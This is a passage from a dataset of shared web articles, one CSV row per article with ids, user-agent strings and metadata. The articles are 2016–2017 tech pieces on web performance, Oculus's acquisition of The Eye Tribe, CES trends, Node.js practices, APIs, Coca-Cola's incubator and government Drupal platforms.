BrowserStack 167 is fantastic, but test on real devices as well. Is continuous monitoring set up? Having a private instance of WebPagetest 168 6 is always beneficial for quick and unlimited tests. Set up continuous monitoring of performance budgets with automatic alerts. Set your own user-timing marks to measure and monitor business-specific metrics. Look into using SpeedCurve 169 to monitor changes in performance over time, and/or New Relic 170 to get insights that WebPagetest cannot provide. Also, look into SpeedTracker 171 , Lighthouse 172 7 and Calibre 173 . Quick Wins Link This list is quite comprehensive, and completing all of the optimizations might take quite a while. So, if you had just 1 hour to get significant improvements, what would you do? Let's boil it all down to 10 low-hanging fruits . Obviously, before you start and once you finish, measure results, including start rendering time and SpeedIndex on a 3G and cable connection. Your goal is a start rendering time under 1 second on cable and under 3 seconds on 3G, and a SpeedIndex value under 1000. Optimize for start rendering time and time-to-interactive. Prepare critical CSS for your main templates, and include it in the <head> of the page. (Your budget is 14 KB). Defer and lazy-load as many scripts as possible, both your own and third-party scripts - especially social media buttons, video players and expensive JavaScript. Add resource hints to speed up delivery with faster dns-lookup , preconnect , prefetch , preload and prerender . Subset web fonts and load them asynchronously (or just switch to system fonts instead). Optimize images, and consider using WebP for critical pages (such as landing pages). Check that HTTP cache headers and security headers are set properly. Enable Brotli or Zopfli compression on the server. (If that's not possible, don't forget to enable Gzip compression.) If HTTP/2 is available, enable HPACK compression and start monitoring mixed-content warnings. If you're running over LTS, also enable OCSP stapling. If possible, cache assets such as fonts, styles, JavaScript and images - actually, as much as possible! - in a service worker cache. Download The Checklist (PDF, Apple Pages) Link With this checklist in mind, you should be prepared for any kind of front-end performance project. Feel free to download the print-ready PDF of the checklist as well as an editable Apple Pages document to customize the checklist for your needs: If you need alternatives, you can also check the front-end checklist by Dan Rublic 176 and the "" Designer's Web Performance Checklist 177 "" by Jon Yablonski. Off We Go! Link Some of the optimizations might be beyond the scope of your work or budget or might just be overkill given the legacy code you have to deal with. That's fine! Use this checklist as a general (and hopefully comprehensive) guide, and create your own list of issues that apply to your context. But most importantly, test and measure your own projects to identify issues before optimizing. Happy performance results in 2017, everyone! Huge thanks to Anselm Hannemann, Patrick Hamann, Addy Osmani, Andy Davies, Tim Kadlec, Yoav Weiss, Rey Bango, Matthias Ott, Mariana Peralta, Jacob Groß, Tim Swalling, Bob Visser, Kev Adamson and Rodney Rehm for reviewing this article, as well as our fantastic community, which has shared techniques and lessons learned from its work in performance optimization for everybody to use. You are truly smashing! (al) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 ↑ Back to top Tweet it Share on Facebook",en
1482951676,CONTENT SHARED,8057379878708189245,3609194402293569455,-3019919480934116349,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://techcrunch.com/2016/12/28/the-eye-tribe-oculus/,Oculus acquires eye-tracking startup The Eye Tribe,"The direction you look could one day control your VR or mobile experience thanks to Facebook and Oculus' latest buy, The Eye Tribe . Oculus confirms to me that this is an official acquisition.The startup has developed a $99 eye tracking device developer kits for computers, and software that can bring gaze-based interfaces to smartphones and potentially virtual reality headsets. Basic examples of what the tech could do include auto-scrolling of text while reading or sheet music while playing an instrument, and the ability to pause or control a video player with your eyes while your hands are occupied. Car interfaces could benefit from the technology. And a whole class of VR headsets are starting to use eye-tracking to let you teleport around a location, or show the movement of your eyes on an avatar to make it more life-like. The Eye Tribe had raised around $3 million from investors including Startup Bootcamp, and taken a $2.3 million grant from The Danish National Advanced Technology Foundation. The Eye Tribe competed in TechCrunch's CES Hardware Battlefield in early 2014 when it first began shipping its dev kit. Lately it's been working to get more developers on its SDK, building applications that benefit from eye tracking. Google recently bought an eye-tracking startup too called Eyefluence. The startup's site put up a notice that it was changing directions earlier this month, and tech pundit Robert Scoble shared a rumor that they'd been acquired by Facebook. The Di Digital publication reported that the Swedish business register lists Facebook became the 100% shareholder of The Eye Tribe on December 15th, and TechCrunch has now confirmed that information here . We don't have details on the deal such as the price, exactly who from the Eye Tribe team will be joining Facebook and/or Oculus, or what will happen to Eye Tribe's existing users. The Eye Tribe was developed out of research by the founders at IT University Of Copenhagen back in 2009. The company says the ITU Gaze Tracker they helped create has become the most popular open source eye tracking software. By 2013 the full-fledged startup had shown the ability to build its technology into an Android tablet device. This year The Eye Tribe unveiled a $199 pro version of its tracking device that it says can be as much as 10X cheaper than comparable models. Its tech has potential applications for identity verification for security, immersive games, and a wide range of applications that let you navigate by looking rather than using your fingers. Perhaps Facebook could one day allow you to Like a post just by looking at the Like button, or roll your eyes in Oculus VR to communicate that you're annoyed.",en
1483014027,CONTENT SHARED,31349081826574004,3609194402293569455,1669427668978150707,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://www.digitaltrends.com/features/9-trends-to-watch-at-ces-2017/,"9 trends you need to watch at CES 2017, from 'AI' assistants to 'AR' devices","Great things happen rarely: Santa drops by only once a year, we eat stuffing on just a single day in November ... heck, we only have the opportunity to make America great again once every four years. And likewise, the gadget paradise CES comes to Las Vegas every January for just four short days. Fortunately, the stuff unveiled there continues to dazzle and delight us for the rest of the year. It may not officially be the biggest, but it's easily the most important tech show of the year. And biggest or not, it's certainly enormous: CES 2016 saw 177,393 attendees and spanned 2.47 million net square feet of exhibit space. What will 2017's show hold? Here's my list of the 9 biggest trends to watch for -what you'll see in the year ahead - as well as a few tips about which companies you should keep an eye on. You'll actually want a digital assistant It started out in your phone. You would ask Siri to tell you the weather report or a silly joke. But artificial intelligence and digital assistants are no laughing matter: They are likely the way most Americans will experience the Internet of Things (IoT) explosion, and are finally a cheap and easy way for mere mortals to automate their homes as only the wealthy once could. Last year Amazon brought its AI Alexa to homes, but next year it's going to be in your home. Cheap and affordable voice-controlled artificial intelligences like Amazon's Alexa and Google's Home are going to be everywhere, and you'll see that in spades at CES. You'll hear from companies like Neura that ""enhance products with AI."" You'll read about it when you hear about Ara by Kolibree , the world's first toothbrush with embedded AI. (My brain hurts thinking about that.) But it'll be more than just assistants, some say. ""This will be the first year in which AI-generated art will achieve commercial success. An artist will use an AI-created element, like a song melody, in a piece of work that achieves mainstream recognition, explained Nvidia's Bryan Catanzaro, Vice President, Applied Deep Learning Research. Big brands will get innovative During the last few years, we've seen small new companies with big visions transform and disrupt the world. Nest kicked the whole IoT thing into high gear, Uber changed the taxi world, and so on. Both blossomed into enormous companies, of course, but the point remains: small companies are doing big stuff. This year big names like Comcast and Netflix and Hulu and Amazon may drive the most interesting changes. Take Amazon and its push into artificial intelligence. Sure, other companies are doing it, but it's the Echo and the Dot that you'll end up buying. Comcast's Xfinity Home group is another big company shaping the IoT space. The premise is as smart as it is simple: Why buy several different devices from different companies operating on different protocols with different apps when you can just get them all from one space, and manage it on your TV? People appear to be responding, too; according to Ericsson , more than two out of five advanced internet users would like to get all their products from the biggest five IT companies. Of those, three in four believe this will happen only five years from now. Go figure. HD audio will make (another) comeback Yes, I know, we've been down this road before. But this year, they swear we'll finally get high-resolution audio right. There will be a high-resolution audio pavilion at the Las Vegas Convention Center, for the first time ever, and a lengthy series of panels by our very own Audiophile , Mike Mettler. Sound engineers at the pavilion will demonstrate the advantages of high-res audio, and companies like Astell&Kern will have their line of products on display. Watch for ultra fancy digital preamps as well from some of the biggest names in the business. You can also expect new speaker systems from leading brands like Harman Kardon. AR/VR will get real You'll read about several hundred companies unveiling 360-degree cameras at CES. Yes, this is neat: Imagine how much more interesting your next selfie is going to be when you can see the band playing behind you, or the mountain peak you stand on (or the bathroom in which you're taking that selfie). Proof? For the first time since the flesh show AVN Adult Entertainment Expo changed dates, we'll have a full-on pornography company at CES. Naughty America's booth is intended to show off the company's work in the VR space - the company will have Rifts, Daydreams, and Vives galore. Beyond that, from the vat of VR stuff out there, I'm interested to see French company Voxel's offering: the company claims to offer VR without a headset. Sure, it's in a VR booth, but still. And on the cutting edge of cutting edge, Insta360 will show off its new camera, which takes 8K 360-degree images. Expect to hear dozens of enormous content providers announcing their push into AR as well. A small subset of this is augmented listening. A half dozen or more companies are building devices to improve your hearing, either by helping boost volume like a traditional hearing aid or by focusing it on what counts: the person seated across from you at dinner, the actors on stage, whatever. A new headphone from a company called Stages promises to let you listen from a specific direction; Audicus bills itself as the 'Warby Parker of hearing aids,' and there's more where that came from. Everybody will fight Tesla Meanwhile, electric cars are everywhere. From today's Tesla's to Faraday Future's far off promise, from the Chevy Volt to the Toyota Prius, electric cars are having a moment. Faraday Future is certainly among the most interesting of a growing group of domestic and overseas companies created with one explicit goal in mind: to take down Tesla Motors. The California-based, China-backed startup has hired employees from BMW, Lamborghini, Chevrolet, Jaguar Land Rover, Tesla, and even SpaceX in a bid to get its ambitious project off the ground. We'll also have self-driving cars at some point (or even right now, depending on how you view that Tesla autopilot stuff). But if you aren't looking to buy a new car right now, you can add brains to your existing brawn thanks to a slew of new gadgets that plug into your car. Devices like PilotHUD and Navdy that add a heads-up display to your car seem futuristic, but they're beginning to pop up everywhere. Meanwhile, there is a bunch of stuff that plugs into your car's OBD port: Verizon's Hum , Automatic, Vinli, Zubie, and other gizmos will make you a better pilot. There will be 4,000 4K announcements Bought a TV? You'll finally appreciate the investment. Content providers are finally catching up to the wave of improvements from panel makers. Watch for news from Netflix, Comcast, Dish, and others. Meanwhile, CES wouldn't be CES without televisions. Expect dozens of new devices built around 4K content, including a new line of cameras from audio giant Monster, new TVs from Westinghouse, LG, Samsung (OLED! QLED! Other LEDs!), and more. We expect great things from LG, after a recent visit to the LG Display facilities in Korea. Much of the talk will center around high dynamic range (HDR), which improves contrast between light and dark areas and is surprisingly challenging to get working. You'll fear for your safety Fears about information sharing will shape many of the devices and services we see over the coming year. Concerns about Internet of things, which has been used to create giant botnets, will shape future devices. Enter companies like BullGuard, a security company, which is set to unveil Dojo - a security solution meant to protect smart home devices from cyber threats and botnets. Meanwhile, Android smartphones are limiting themselves when they detect that they're in your car, a trend I anticipate to increase in the year ahead. There are several personal safety devices emerging from the show, as well: Silent Beacon is a dead-simple way to get help in an emergency; Aluma Connect aims to keep women safe from sexual assault; and several devices smarten your stove to ensure you (or grandma) haven't left it on by accident. We'll get 5G phones This year is a rarity for CES: All of the major cellular carriers will have a presence at the show, Shawn Dubravac, research director for the CTA, told me. Why? The rise of 5G networks is imminent, with most beginning trials and testing new tech. 5G means more than just fewer dropped calls, he noted: It means new services and new technologies. Michael Björn, Head of Research, Ericsson ConsumerLab, agreed, noting that people ""also want the future to remain fully mobile, implying that demand for battery-friendly, instant and fast connectivity is set to grow rapidly. In that sense, reality time means it is time for 5G networks."" Digital Trends will be everywhere Yes, we're shamelessly promoting ourselves here, but at this year's CES show, Digital Trends will itself be a trend to watch. We will have our largest staff ever - and for the first time, a booth. We'll be live-streaming interviews with the CEOs and top tech folks at dozens of leading brands on YouTube and Facebook, and bringing you our Top Tech of CES awards to highlight the show's most innovative products and services.",en
1483017574,CONTENT SHARED,2930191803881821526,2754566407772265068,-7945576473420652773,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",MG,BR,HTML,https://blog.risingstack.com/node-js-best-practices-2017/,Node.js Best Practices - How to Become a Better Developer in 2017 | @RisingStack,"A year ago we wrote a post on How to Become a Better Node.js Developer in 2016 which was a huge success - so we thought now it is time to revisit the topics and prepare for 2017! In this article, we will go through the most important Node.js best practices for 2017, topics that you should care about and educate yourself in. Let's start! Node.js Best Practices for 2017 Use ES2015 Last year we advised you to use ES2015 - however, a lot has changed since. Back then, Node.js v4 was the LTS version, and it had support for 57% of the ES2015 functionality. A year passed and ES2015 support grew to 99% with Node v6 . If you are on the latest Node.js LTS version you don't need babel anymore to use the whole feature set of ES2015. But even with this said, on the client side you'll probably still need it! For more information on which Node.js version supports which ES2015 features, I'd recommend checking out node.green . Use Promises Promises are a concurrency primitive, first described in the 80s. Now they are part of most modern programming languages to make your life easier. Imagine the following example code that reads a file, parses it, and prints the name of the package. Using callbacks, it would look something like this: Wouldn't it be nice to rewrite the snippet into something more readable? Promises help you with that: Of course, for now, the fs API does not have an readFileAsync that returns a Promise. To make it work, you have to wrap it with a module like promisifyAll . Use the JavaScript Standard Style When it comes to code style, it is crucial to have a company-wide standard, so when you have to change projects, you can be productive starting from day zero, without having to worry about building the build because of different presets. At RisingStack we have incorporated the JavaScript Standard Style in all of our projects. With Standard, there is no decisions to make, no .eslintrc , .jshintrc , or .jscsrc files to manage. It just works. You can find the Standard rules here . Use Docker - Containers are Production Ready in 2017! You can think of Docker images as deployment artifacts - Docker containers wrap up a piece of software in a complete filesystem that contains everything it needs to run: code, runtime, system tools, system libraries - anything you can install on a server. But why should you start using Docker? it enables you to run your applications in isolation, as a conscience, it makes your deployments more secure, Docker images are lightweight, they enable immutable deployments, and with them, you can mirror production environments locally. To get started with Docker, head over to the official getting started tutorial . Also, for orchestration we recommend checking out our Kubernetes best practices article. Monitor your Applications If something breaks in your Node.js application, you should be the first one to know about it, not your customers. One of the newer open-source solutions is Prometheus that can help you achieve this. Prometheus is an open-source systems monitoring and alerting toolkit originally built at SoundCloud. The only downside of Prometheus is that you have to set it up for you and host it for yourself. If you are looking for on out-of-the-box solution with support, Trace by RisingStack is a great solution developed by us. Trace will help you with alerting, memory and CPU profiling in production systems, distributed tracing and error searching, performance monitoring, and keeping your npm packages secure! Use Messaging for Background Processes If you are using HTTP for sending messages, then whenever the receiving party is down, all your messages are lost. However, if you pick a persistent transport layer, like a message queue to send messages, you won't have this problem. If the receiving service is down, the messages will be kept, and can be processed later. If the service is not down, but there is an issue, processing can be retried, so no data gets lost. An example: you'd like to send out thousands of emails. In this case, you would just have to put some basic information like the target email address and the first name, and a background worker could easily put together the email's content and send them out. What's really great about this approach is that you can scale it whenever you want, and no traffic will be lost. If you see that there are millions of emails to be sent out, you can add extra workers, and they can consume the very same queue. You have lots of options for messaging queues: Use the Latest LTS Node.js version To get the best of the two worlds (stability and new features) we recommend using the latest LTS (long-term support) version of Node.js. As of writing this article, it is version 6.9.2 . To easily switch Node.js version, you can use nvm . Once you installed it, switching to LTS takes only two commands: Use Semantic Versioning We conducted a Node.js Developer Survey a few months ago, which allowed us to get some insights on how people use semantic versioning. Unfortunately, we found out that only 71% of our respondents uses semantic versioning when publishing/consuming modules. This number should be higher in our opinion - everyone should use it! Why? Because updating packages without semver can easily break Node.js apps. Versioning your application / modules is critical - your consumers must know if a new version of a module is published and what needs to be done on their side to get the new version. This is where semantic versioning comes into the picture. Given a version number MAJOR.MINOR.PATCH , increment the: MAJOR version when you make incompatible API changes, MINOR version when you add functionality (without breaking the API), and PATCH version when you make backwards-compatible bug fixes. npm also uses SemVer when installing your dependencies, so when you publish modules, always make sure to respect it. Otherwise, you can break others applications! Secure Your Applications Securing your users and customers data should be one of your top priorities in 2017. In 2016 alone, hundreds of millions of user accounts were compromised as a result of low security. To get started with Node.js Security, read our Node.js Security Checklist , which covers topics like: Security HTTP Headers, Brute Force Protection, Session Management, Insecure Dependencies, or Data Validation. After you've embraced the basics, check out my Node Interactive talk on Surviving Web Security with Node.js ! Learn Serverless Serverless started with the introduction of AWS Lambda. Since then it is growing fast, with a blooming open-source community. In the next years, serverless will become a major factor for building new applications. If you'd like to stay on the edge, you should start learning it today. One of the most popular solutions is the Serverless Framework , which helps in deploying AWS Lambda functions. Attend and Speak at Conferences and Meetups Attending conferences and meetups are great ways to learn about new trends, use-cases or best practices. Also, it is a great forum to meet new people. To take it one step forward, I'd like to encourage you to speak at one of these events as well! As public speaking is tough, and ""imagine everyone's naked"" is the worst advice, I'd recommend checking out speaking.io for tips on public speaking! Become a better Node.js developer in 2017 As 2017 will be the year of Node.js, we'd like to help you getting the most out of it! We just launched a new study program called ""Owning Node.js"" which helps you to become confident in: Async Programming with Node.js Creating servers with Express Using Databases with Node Project Structuring and building scalable apps If you have any questions about the article, find me in the comments section!",en
1483025849,CONTENT SHARED,428486625959995206,3609194402293569455,1669427668978150707,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://www.programmableweb.com/news/programmablewebs-most-interesting-apis-2016-cognitive-computing/brief/2016/12/29,Most Interesting APIs in 2016: Cognitive Computing,"This next section of interesting APIs from 2016 contains notable choices from our Recognition , Machine Learning , Artificial Intelligence , Predictions , and Natural Language Processing categories. The Microsoft Cognitive Services Computer Vision API Track this API analyses images and returns information about them. It can be used to filter mature content or to detect faces in an image. Microsoft Computer Vision API detects faces, celebrities, text, and returns description, colors, thumbmnails and much more Image Credit: Microsoft UnificationEngine is Unified Inbox's Internet of Communications (IoC) platform . UnificationEngine API Track this API can access endpoints that communicate with various connectors, such as Facebook, Twitter, LinkedIn, Xing, Weibo and more. UnificationEngine makes it possible for developers to integrate multiple communication channels using a single API Image Credit: Unified Inbox The Google Awareness API Track this API manages data from seven different location and contextual signals from users of Android devices. Contextual data is aggregated from sensors about locations, places, and activities. The seven signals include time, location, places, beacons, headphones, activity, and weather. Introduction of the the Awareness API from Google I/O during May, 2016 video: YouTube/Android Developers Software company dNeural provides the nullNude API Track this API as an adult content moderation platform that can be used to automatically remove unwanted content from a service. This platform features abstract understanding which is more discriminative than regular models when filtering images. nullNude technology can determine if an image has nude content Image Credit: dNeural Inc., nullNude Dango allows developers integrate emoji predictions into applications based on the natural language processing tools that share neural networks. Developers can use the Dango API in group communication apps to transform natural text into custom emojis. The Dango API Track this API is listed under the Natural Language Processing category. See ProgrammableWeb 's complete list of Natural Language Processing APIs . Implement Dango custom emoji service into applications via their API Image Credit: YouTube/Dango The Niland API Track this API utilizes artificial intelligence (AI) and audio processing capabilities to classify music titles and recognize related tracks. The API automatically generates search results and classification data using audio signals that it detects in music compositions. The API allows developers to create AI powered music applications. We've primarily listed the Niland API in the Music category. See ProgrammableWeb 's complete list of Music APIs . In April 2016, AYLIEN , a natural language processing and data services provider, launched a machine learning driven news API . With the AYLIEN News API Track this API users can search, source, and index news and blog content from across the Web in real time. APIs such as this one and the CleanSpeak API Track this API from Inversoft could help alleviate the current fake news problem . AYLIEN News API collects data about news content and news sentiment. In this example the query was ""API"" Image Credit: AYLIEN ScreenLab uses eye tracking data to analyze focus points and identify key stimuli including RGB, Grey scale, HSV, color, contrast, motion, position, patterns, metrics, heat maps and more. This JSON based ScreenLab API Track this API allows users more insight to how their UI/UX design looks to viewers. ScreenLab helps users to optimize websites with eye-tracking heatmaps and other technology Image Credit: ScreenLab.io InsideSales.com provides sales lead management technology to businesses with a telephony suite of tools including voice messaging, auto dialing, and lead response. The InsideSales API Track this API enables InsideSales reps to qualify leads, dial and improve contact rates. InsideSales is a Sales API, but the technology is powered by a predictive self-learning engine, a trend we expect to stick around.",en
1483051215,CONTENT SHARED,-7384231993217222764,-1032019229384696495,-7410794229618935465,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.28 Safari/537.36",NY,US,HTML,https://techcrunch.com/2016/12/29/coca-cola-reportedly-closes-founders-startup-incubator/,Coca-Cola reportedly closes Founders startup incubator,"After opening to much fanfare three years ago, Coca-Cola is shutting down The Founders program, according to a published report . Under this program, the company nurtured young startups, hoping to siphon some of that entrepreneurial energy and pass it along to the big lumbering corporation. Over the last several years, companies have recognized the need to innovate, and the larger the company, the more difficult it is. David Butler, who, according to the report, has left the company, ran the program as VP of innovation. The company launched the program with the idea of giving startups with cool ideas some seed money - a million or less - along with access to the vast resources only a company the size of Coca-Cola could provide. Butler would scout the startups, then connect the ones he liked with an advisor, who could help them navigate the big company. These types of programs have popped up at large companies over the last several years, including such well-known and varied brands as McDonalds, CVS, Fidelity and GE. As Butler told me a couple of years ago at Web Summit in Dublin, when it works, the startup-corporation combination can be a powerful one: ""Most large established companies have scale but lack agility. Startups have agility, but they're looking for scale."" Put the two together and something beautiful could happen, or at least that was the hope. While the idea was to create companies that would be independent and hopefully find other sources of funding (and customers), Coca-Cola was trying to gain something by bringing these startups into the fold. The problem becomes giving the startup enough love without smothering it. A small company can't always cater to the needs of its corporate benefactor, precisely because early stage startups by their nature lack the resources to take on too much too soon. Butler told me earlier this year that the company liked to find startups, even before they formed. ""We set up meetings with startups. We try to find founders before they develop and create the startup."" They would start with a thesis related to a big challenge or opportunity in the company. They established relationships with early-stage VCs and seed funders, typically talking to entrepreneur-in-residences, looking for that company that could help them before it launched. Butler told me the company had funded 12 companies as of March when I last spoke to him. Among its biggest successes was Wonolo , an online staffing firm, which was funded early by Coca-Cola Founders, but has raised $7.9 million overall, including $5.7 million Series A in January . Perhaps Butler was being prescient when he told me about the difficulties in pulling this off. ""When the [startup and the corporation] combine, it's quite interesting. You need a translator to help them understand what's going on. That's why a lot of platforms inside big companies fail and you have to take the time."" Unfortunately, the Founders platform appears to be no more, but the companies who have received funding will continue to receive internal support. They just won't go looking for any more. It's hard to know if this is the start of a trend where companies back off this kind of corporate funding, or if Coca-Cola, whose CEO is stepping down , is just an isolated case of a company in transition. Coca-Cola did not respond to requests for comments for this article. Featured Image: Roberto Machado Noa /Getty Images",en
1483128993,CONTENT SHARED,223316996491584050,3891637997717104548,-7189976977595125364,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",SP,BR,HTML,http://buytaert.net/how-to-move-an-entire-government-to-a-new-digital-platform,How to move an entire government to a new digital platform - Dries Buytaert,"In this era of Open Government, constituents expect to be offered great services online. This can require moving an entire government to a new digital platform in order to deliver ambitious digital experiences that support the needs of citizens. It takes work, but many governments from the United States to Australia have demonstrated that with the right technology and strategy in place, governments can successfully adopt a new platform. Unfortunately this is not always the case. How not to do it: Canada.ca In 2014, the Government of Canada began a project to move all of its web pages onto a single site, Canada.ca . A $1.54 million contract for a content management system was awarded to a proprietary vendor in 2015. Fast forward to today, and the project is a year behind schedule and 10x over budget . The contract is now approaching $10 million. As only 0.05% of the migration to Canada.ca has been completed, many consider the current project to be disservice to its citizens . I find the impending outcomes of this project to be disheartening as current timelines suggest that the migration will continue to be delayed, run over budget, and strain taxpayers. While I hope that Canada.ca will develop into a valuable resource for its citizens, I agree with Tom Cochran , Acquia's Chief Digital Strategist for Public Sector -- who ran digital platforms at the White House and U.S. Department of State -- that the prospects for Canada.ca are dim given the way the project was designed and is being implemented. The root of Canada.ca's problem appears to be the decision to migrate 1,500 departments and 17 million pages into a single site. I'm guessing that the goal of having a single site is to offer citizens a central entry point to connect with their government. A single site strategy can be extremely effective, for example the City of Boston's single site is home to over 200,000 web page spanning 120 city departments , and offers a truly user-centric experience. With 17 million pages to migrate, Canada.ca is eighty-five times bigger than Boston.gov. A project of this magnitude should have considered using a multi-site approach where different agencies and departments have their own sites, but can use a common platform, toolset and shared infrastructure. While difficulties with Canada.ca may have started with the ambitious attempt to move every department to a single domain, the complexities of this strategy are likely amplified through the implementation of a single-source proprietary solution. I find it unfortunate that Canada's procurement models did not favor Open Source. The Canadian government has a tenured history of utilizing Open Source, and there is a lot of existing Drupal talent in the country. In rejecting an open platform, the Canadian Government lost the opportunity to engage a skilled community of native, Open Source developers. How to do it: Australian Government Transforming an entire nation's digital strategy is challenging, but other public sector leaders have proven it is possible. Take the Australian Government. In 2015, John Sheridan, Sharyn Clarkson and their team in the Department of Finance moved their department's site from a legacy environment to Drupal and the cloud. The Department of Finance's success has grown into the Drupal distribution govCMS , which is currently supporting over 52 government agencies across 6 jurisdictions in Australia. Much like Canada.ca, the goal of govCMS is to provide citizens with a more intuitive platform to engage with their government. The guiding principle of govCMS is to govern but to not seek control. Each government department requires flexibility to service the needs of their particular audiences. While single-site solutions do work as umbrellas for some organizations, the City of Boston being a great example, most large (government) organizations that have a state-of-the-art approach follow a hub and spoke model where different sites share code, templates and infrastructure. While sharing is strongly encouraged it is not required. This allows each department to independently innovate and adopt the platform how they choose. The Open Source nature of govCMS has encouraged both innovation and collaboration across many Australian departments. One of the most remarkable examples of this is that a federal agency and a state agency coordinated their development efforts to build a data visualization capability on an open data CKAN repository . The Department of Environment initiated the development of the CKAN module necessary to pull and analyze data from a variety of departments. The Victorian Department of Premier and Cabinet recognized that they too could utilize the module to propel their budget report and aided in the co-development of the govCMS CKAN . This is an incredible example of how Open Source allows agencies to extend functionality across departments, regardless of vendor involvement. By setting up a model which removed the barriers to share, govCMS has provided Australia the freedom to truly innovate. Seeing is believing: shifting the prevailing mindset A distributed model using multiple sites to leverage an Open Source platform where infrastructure, code and templates are shared allows for governance and innovation to co-exist. I've written about this model here in a post about Loosening control the Open Source Way . I believe that a multi-site approach based on Open Source is the only way to move an entire government to a new digital strategy and platform. It can be incredibly hard for organizations to understand this. After all, this is not about product features, technical capabilities or commercial support, but about a completely different way of working and innovating. It's a hard sell because we have to change the lens through which organizations see the world; away from procuring proprietary software that provides perceived safety and control, to a world that allows frictionless innovation and sharing through the loosening of control without losing control. For us to successfully market and sell the innovation that comes out of Drupal, Open Source and cloud, we have to shift how people think and challenge the prevailing model. In many ways, organizations have to see it to believe it. What is exciting about the Australian government is that it helps others see the potential of a decentralized service model predicated on Open Source software with a Drupal distribution at its heart. The Australian government has created an ecosystem of frictionless sharing that is cheaper, faster, and enables better results. What is next for Canada? It's difficult for me to see a light at the end of the tunnel for Canadian citizens. While the Canadian government can stay the course -- and all indications so far are that they will -- that path has a high price tag, long delays and slow innovation. An alternative would be for Ottawa to hit the pause button and reassess their strategy. They could look externally to how governments in Washington, Canberra, and countless others approached their mission to support the digital needs of its citizens. I know that there are countless Drupal experts working both within the government and at dozens of Drupal agencies throughout Canada that are eager to show their government a better way forward.",en
1483362590,CONTENT SHARED,7697593937932606048,-7410485589492665094,-6773017960785592027,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",MG,BR,HTML,http://sensedia.com/blog/apis/top-5-conteudos-2016/,Top 5 conteúdos 2016 - Sensedia,"Com o ano acabando, você precisa saber do que aconteceu de melhor neste blog durante o ano de 2016. E é claro, eu não poderia deixar você na mão com esse desejo certo? Esse ano de 2016 foi fantástico para a Sensedia e consequentemente para o blog, tivemos um aumento de 200% nas leituras de artigos em média comparando com 2015, então preciso deixar aqui o meu muito obrigado em nome de toda a equipe a você meu caro leitor. Bom, sem mais delongas vamos ao top 5 conteúdos 2016 por ordem crescente de visualizações. 5 - TechBeer: Arquitetura de Software Um dos assuntos mais complexos e de interesse da população computeira, neste episódio do podcast mais ""tecnológico e cervejístico"" contamos com grandes convidados para discutir sobre o que faz realmente um arquiteto de software , quais são suas responsabilidades e como se tornar um. Não deixe de conferir todos os episódios! 4 - APIX 2016 O maior evento de APIs do mundo não poderia faltar nessa lista. Como gostamos de falar aqui na Sensedia: ""Maior, melhor e com conteúdos excepcionais"". É desse jeito que aconteceu em Junho a segunda edição do APIX, com cases de empresas como: TV Globo, Magazine Luiza, Fitbit, Google e várias outras. Dê uma conferida. Não esqueça de conferir os conteúdos de 2015 também, todas as palestras já estão nesta playlist no YouTube. 3 - Webinar Hackathons Os Webinars da Sensedia já são tradição, e esse ano um deles falou de um assunto muito recorrente em empresas de todos os portes que querem inovar e trazer desenvolvedores para ganhar tração em seus negócios e APIs, os Hackathons . Assista e veja quais são os principais benefícios de organizar um. 2 - De SOA a Microserviços A última grande revolução arquitetural que começou mais precisamente em 2014 foi a arquitetura baseada em Microserviços, e é claro que eu não poderia deixar de falar sobre isso no blog. Esta evolução arquitetural passa bastante pelos princípios de SOA e o artigo que te leva nessa jornada ficou com a vice colocação em nosso pódio 2016. 1 - Omnichannel E o primeiro lugar vai para..... Omnichannel! A medalha de ouro de 2016 vai para a maior tendência de comércio vista ao longo do ano. Com as mudanças inclusive do perfil do público alvo para quem se vende nos dias atuais, as empresas tiveram que solucionar seus problemas através da entrega de uma única experiência integrada entre todos os meios de interação com o cliente, e com isso surgiu o Omnichannel . Menções Honrosas Neste ano tivemos dois artigos que receberam muitas visitas mas não entraram para a nossa lista dos 5 mais por um simples motivo, seria um repeteco de 2015. O primeiro deles é a série O que são APIs , nesta série de 3 posts você irá aprender desde o básico do que é uma API até mesmo como acontece a economia envolta das APIs. O segundo e não menos importante é um post que indica os melhores locais para encontrar APIs, e inclusive um deles é o , que atualmente é o maior portal brasileiro para encontrar as integrações que mais encaixam com o seu negócio, dê uma conferida em Desejo a todos um excelente ano de 2017, que comece a todo vapor para a tecnologia e aprendizado como foi todo o ano de 2016, e não deixe de acompanhar todas as novidades que estão por vir. The following two tabs change content below.",pt
